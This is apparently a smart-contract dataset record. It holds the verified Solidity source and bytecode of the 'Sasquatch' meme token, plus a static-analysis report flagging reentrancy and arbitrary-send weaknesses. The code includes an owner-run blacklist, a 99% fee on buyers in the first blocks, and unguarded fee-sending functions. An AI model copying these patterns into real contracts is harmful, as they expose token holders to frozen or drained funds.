5bd9d04367c930d599642faad06695229f3eadcd8906020016106ac565b6009546001600160a01b0316336001600160a01b0316146109b857600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014906020016106ac565b6008546001600160a01b0316336001600160a01b031614610a2657600080fd5b47610a308161181e565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a785760405162461bcd60e51b81526004016107dd90611e99565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610ae257600080fd5b60005b81518110156108d057600a5482516001600160a01b0390911690839083908110610b1157610b11611e6a565b60200260200101516001600160a01b031614158015610b62575060075482516001600160a01b0390911690839083908110610b4e57610b4e611e6a565b60200260200101516001600160a01b031614155b15610bbf57600160066000848481518110610b7f57610b7f611e6a565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610bc981611e80565b915050610ae5565b60006106c43384846111b0565b6008546001600160a01b0316336001600160a01b031614610bfe57600080fd5b6000610c0930610a33565b9050610a30816118a3565b6000546001600160a01b03163314610c3e5760405162461bcd60e51b81526004016107dd90611e99565b60115460ff1615610c8b5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107dd565b6011805460ff19166001179055426010556801a055690d9db80000600e819055600f55565b600a54600090610843906001600160a01b0316610a33565b6000546001600160a01b03163314610cf25760405162461bcd60e51b81526004016107dd90611e99565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016106ac565b6000546001600160a01b03163314610d6f5760405162461bcd60e51b81526004016107dd90611e99565b60115460ff1615610dbc5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107dd565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610df93082683635c9adc5dea0000061108c565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5b9190611ece565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ea8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ecc9190611ece565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3d9190611ece565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f6d81610a33565b600080610f826000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610fea573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061100f9190611eeb565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015611068573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d09190611f19565b6001600160a01b0383166110ee5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107dd565b6001600160a01b03821661114f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107dd565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112145760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107dd565b6001600160a01b0382166112765760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107dd565b600081116112d85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107dd565b6001600160a01b03831660009081526006602052604090205460ff161561134d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107dd565b600080546001600160a01b0385811691161480159061137a57506000546001600160a01b03848116911614155b156117bf57600a546001600160a01b0385811691161480156113aa57506007546001600160a01b03848116911614155b80156113cf57506001600160a01b03831660009081526004602052604090205460ff16155b1561165b5760115460ff166114265760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107dd565b60105442036114655760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107dd565b42601054610e106114769190611f36565b11156114f057600f5461148884610a33565b6114929084611f36565b11156114f05760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107dd565b6001600160a01b03831660009081526005602052604090206001015460ff16611558576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115689190611f36565b111561163c57600e548211156115c05760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107dd565b6115cb42600f611f36565b6001600160a01b0384166000908152600560205260409020541061163c5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107dd565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff16158015611675575060115460ff165b801561168f5750600a546001600160a01b03858116911614155b156117bf5761169f42600f611f36565b6001600160a01b038516600090815260056020526040902054106117115760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107dd565b600061171c30610a33565b905080156117a85760115462010000900460ff161561179f57600d54600a5460649190611751906001600160a01b0316610a33565b61175b9190611f4e565b6117659190611f6d565b81111561179f57600d54600a5460649190611788906001600160a01b0316610a33565b6117929190611f4e565b61179c9190611f6d565b90505b6117a8816118a3565b4780156117b8576117b84761181e565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061180157506001600160a01b03841660009081526004602052604090205460ff165b1561180a575060005b6118178585858486611a17565b5050505050565b6008546001600160a01b03166108fc611838600284611f6d565b6040518115909202916000818181858888f19350505050158015611860573d6000803e3d6000fd5b506009546001600160a01b03166108fc61187b600284611f6d565b6040518115909202916000818181858888f193505050501580156108d0573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118e7576118e7611e6a565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611940573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119649190611ece565b8160018151811061197757611977611e6a565b6001600160a01b03928316602091820292909201015260075461199d913091168461108c565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119d6908590600090869030904290600401611f8f565b600060405180830381600087803b1580156119f057600080fd5b505af1158015611a04573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a238383611a39565b9050611a3186868684611a80565b505050505050565b6000808315611a79578215611a515750600b54611a79565b50600c54601054611a6490610384611f36565b421015611a7957611a76600582611f36565b90505b9392505050565b600080611a8d8484611b5d565b6001600160a01b0388166000908152600260205260409020549193509150611ab6908590611e53565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611ae6908390611f36565b6001600160a01b038616600090815260026020526040902055611b0881611b91565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b4d91815260200190565b60405180910390a3505050505050565b600080806064611b6d8587611f4e565b611b779190611f6d565b90506000611b858287611e53565b96919550909350505050565b30600090815260026020526040902054611bac908290611f36565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611bec57858101830151858201604001528201611bd0565b81811115611bfe576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a3057600080fd5b8035611c3481611c14565b919050565b600060208284031215611c4b57600080fd5b8135611a7981611c14565b60008060408385031215611c6957600080fd5b8235611c7481611c14565b946020939093013593505050565b60008060408385031215611c9557600080fd5b50508035926020909101359150565b600080600060608486031215611cb957600080fd5b8335611cc481611c14565b92506020840135611cd481611c14565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d0e57600080fd5b823567ffffffffffffffff80821115611d2657600080fd5b818501915085601f830112611d3a57600080fd5b813581811115611d4c57611d4c611ce5565b8060051b604051601f19603f83011681018181108582111715611d7157611d71611ce5565b604052918252848201925083810185019188831115611d8f57600080fd5b938501935b82851015611db457611da585611c29565b84529385019392850192611d94565b98975050505050505050565b600060208284031215611dd257600080fd5b5035919050565b8015158114610a3057600080fd5b600060208284031215611df957600080fd5b8135611a7981611dd9565b60008060408385031215611e1757600080fd5b8235611e2281611c14565b91506020830135611e3281611c14565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e6557611e65611e3d565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611e9257611e92611e3d565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ee057600080fd5b8151611a7981611c14565b600080600060608486031215611f0057600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f2b57600080fd5b8151611a7981611dd9565b60008219821115611f4957611f49611e3d565b500190565b6000816000190483118215151615611f6857611f68611e3d565b500290565b600082611f8a57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fdf5784516001600160a01b031683529383019391830191600101611fba565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220dbae41721ba9a2b0d9d377c165fbc332767a4fa2c7668d13d7db9404b349409264736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,063 |
0x694DDc2F4453e9186B922fCE111D5bb0BAdEb47E
|
/**
*Submitted for verification at Etherscan.io on 2022-01-23
*/
/*
Telegram: https://t.me/SasquatchToken
$QUATCH
I am
SASQUATCH:
THE FIRST DEGEN APE
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Sasquatch is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _maxTxAmount = _tTotal;
uint256 private openBlock;
uint256 private _swapTokensAtAmount = 1 * 10**9; // 100 tokens
uint256 private _maxWalletAmount = _tTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Sasquatch";
string private constant _symbol = "QUATCH";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable wall1, address payable wall2, address payable wall3, address payable wall4) {
_feeAddrWallet1 = wall1;
_feeAddrWallet2 = wall2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[wall4] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[wall3] = true;
emit Transfer(
address(0),
_msgSender(),
_tTotal
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 12;
if (from != owner() && to != owner() && from != address(this) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
// Not over max tx amount
require(amount <= _maxTxAmount, "Over max transaction amount.");
// Cooldown
require(cooldown[to] < block.timestamp, "Cooldown enforced.");
// Max wallet
require(balanceOf(to) + amount <= _maxWalletAmount, "Over max wallet amount.");
cooldown[to] = block.timestamp + (30 seconds);
}
if (
to == uniswapV2Pair &&
from != address(uniswapV2Router) &&
!_isExcludedFromFee[from]
) {
_feeAddr1 = 1;
_feeAddr2 = 12;
}
if (openBlock + 3 >= block.number && from == uniswapV2Pair) {
_feeAddr1 = 1;
_feeAddr2 = 99;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
} else {
// Only if it's not from or to owner or from contract address.
_feeAddr1 = 0;
_feeAddr2 = 0;
}
_tokenTransfer(from, to, amount);
}
function swapAndLiquifyEnabled(bool enabled) public onlyOwner {
inSwap = enabled;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function liftMax() public onlyOwner {
_maxTxAmount = _tTotal;
_maxWalletAmount = _tTotal;
}
function setMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount * 10**9;
}
function setMaxWalletAmount(uint256 amount) public onlyOwner {
_maxWalletAmount = amount * 10**9;
}
function whitelist(address payable adr1) external onlyOwner {
_isExcludedFromFee[adr1] = true;
}
function unwhitelist(address payable adr2) external onlyOwner {
_isExcludedFromFee[adr2] = false;
}
function openTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000000 * 10**9;
_maxWalletAmount = 2000000000000 * 10**9;
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function addBot(address theBot) public onlyOwner {
bots[theBot] = true;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function setSwapTokens(uint256 swaptokens) public onlyOwner {
_swapTokensAtAmount = swaptokens;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount
) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_feeAddr1,
_feeAddr2
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061014f5760003560e01c806395d89b41116100b6578063dd62ed3e1161006f578063dd62ed3e146103ca578063e98391ff14610410578063ea3105d914610430578063ec28438a14610445578063f429389014610465578063ffecf5161461047a57600080fd5b806395d89b41146103065780639a590427146103355780639b19251a14610355578063a9059cbb14610375578063bf6642e714610395578063c9567bf9146103b557600080fd5b8063313ce56711610108578063313ce5671461025857806351bc3c85146102745780635932ead11461028957806370a08231146102a9578063715018a6146102c95780638da5cb5b146102de57600080fd5b806306fdde031461015b578063095ea7b31461019f57806318160ddd146101cf57806323b872dd146101f6578063273123b71461021657806327a14fc21461023857600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506040805180820190915260098152680a6c2e6e2eac2e8c6d60bb1b60208201525b6040516101969190611b10565b60405180910390f35b3480156101ab57600080fd5b506101bf6101ba366004611a63565b61049a565b6040519015158152602001610196565b3480156101db57600080fd5b5069152d02c7e14af68000005b604051908152602001610196565b34801561020257600080fd5b506101bf610211366004611a22565b6104b1565b34801561022257600080fd5b506102366102313660046119af565b61051a565b005b34801561024457600080fd5b50610236610253366004611ac9565b61056e565b34801561026457600080fd5b5060405160098152602001610196565b34801561028057600080fd5b506102366105ac565b34801561029557600080fd5b506102366102a4366004611a8f565b6105c5565b3480156102b557600080fd5b506101e86102c43660046119af565b61060d565b3480156102d557600080fd5b5061023661062f565b3480156102ea57600080fd5b506000546040516001600160a01b039091168152602001610196565b34801561031257600080fd5b506040805180820190915260068152650a2aa82a886960d31b6020820152610189565b34801561034157600080fd5b506102366103503660046119af565b6106a3565b34801561036157600080fd5b506102366103703660046119af565b6106ee565b34801561038157600080fd5b506101bf610390366004611a63565b61073c565b3480156103a157600080fd5b506102366103b0366004611ac9565b610749565b3480156103c157600080fd5b50610236610778565b3480156103d657600080fd5b506101e86103e53660046119e9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561041c57600080fd5b5061023661042b366004611a8f565b610b52565b34801561043c57600080fd5b50610236610b9a565b34801561045157600080fd5b50610236610460366004611ac9565b610bd9565b34801561047157600080fd5b50610236610c17565b34801561048657600080fd5b506102366104953660046119af565b610c21565b60006104a7338484610c6f565b5060015b92915050565b60006104be848484610d93565b610510843361050b85604051806060016040528060288152602001611ccb602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061127a565b610c6f565b5060019392505050565b6000546001600160a01b0316331461054d5760405162461bcd60e51b815260040161054490611b65565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105985760405162461bcd60e51b815260040161054490611b65565b6105a681633b9aca00611c45565b600d5550565b60006105b73061060d565b90506105c2816112b4565b50565b6000546001600160a01b031633146105ef5760405162461bcd60e51b815260040161054490611b65565b60138054911515600160b81b0260ff60b81b19909216919091179055565b6001600160a01b0381166000908152600260205260408120546104ab9061143d565b6000546001600160a01b031633146106595760405162461bcd60e51b815260040161054490611b65565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106cd5760405162461bcd60e51b815260040161054490611b65565b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b031633146107185760405162461bcd60e51b815260040161054490611b65565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b60006104a7338484610d93565b6000546001600160a01b031633146107735760405162461bcd60e51b815260040161054490611b65565b600c55565b6000546001600160a01b031633146107a25760405162461bcd60e51b815260040161054490611b65565b601354600160a01b900460ff16156107fc5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610544565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561083a308269152d02c7e14af6800000610c6f565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087357600080fd5b505afa158015610887573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ab91906119cc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f357600080fd5b505afa158015610907573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092b91906119cc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561097357600080fd5b505af1158015610987573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ab91906119cc565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d71947306109db8161060d565b6000806109f06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a5357600080fd5b505af1158015610a67573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8c9190611ae2565b505060138054683635c9adc5dea00000600a55686c6b935b8bbd400000600d5563ffff00ff60a01b198116630101000160a01b1790915543600b5560125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b1657600080fd5b505af1158015610b2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b4e9190611aac565b5050565b6000546001600160a01b03163314610b7c5760405162461bcd60e51b815260040161054490611b65565b60138054911515600160a81b0260ff60a81b19909216919091179055565b6000546001600160a01b03163314610bc45760405162461bcd60e51b815260040161054490611b65565b69152d02c7e14af6800000600a819055600d55565b6000546001600160a01b03163314610c035760405162461bcd60e51b815260040161054490611b65565b610c1181633b9aca00611c45565b600a5550565b476105c2816114c1565b6000546001600160a01b03163314610c4b5760405162461bcd60e51b815260040161054490611b65565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610cd15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610544565b6001600160a01b038216610d325760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610544565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610df75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610544565b6001600160a01b038216610e595760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610544565b60008111610ebb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610544565b6001600e55600c600f556000546001600160a01b03848116911614801590610ef157506000546001600160a01b03838116911614155b8015610f0657506001600160a01b0383163014155b8015610f2b57506001600160a01b03831660009081526005602052604090205460ff16155b8015610f5057506001600160a01b03821660009081526005602052604090205460ff16155b1561125f576001600160a01b03831660009081526006602052604090205460ff16158015610f9757506001600160a01b03821660009081526006602052604090205460ff16155b610fa057600080fd5b6013546001600160a01b038481169116148015610fcb57506012546001600160a01b03838116911614155b8015610ff057506001600160a01b03821660009081526005602052604090205460ff16155b80156110055750601354600160b81b900460ff165b1561114257600a5481111561105c5760405162461bcd60e51b815260206004820152601c6024820152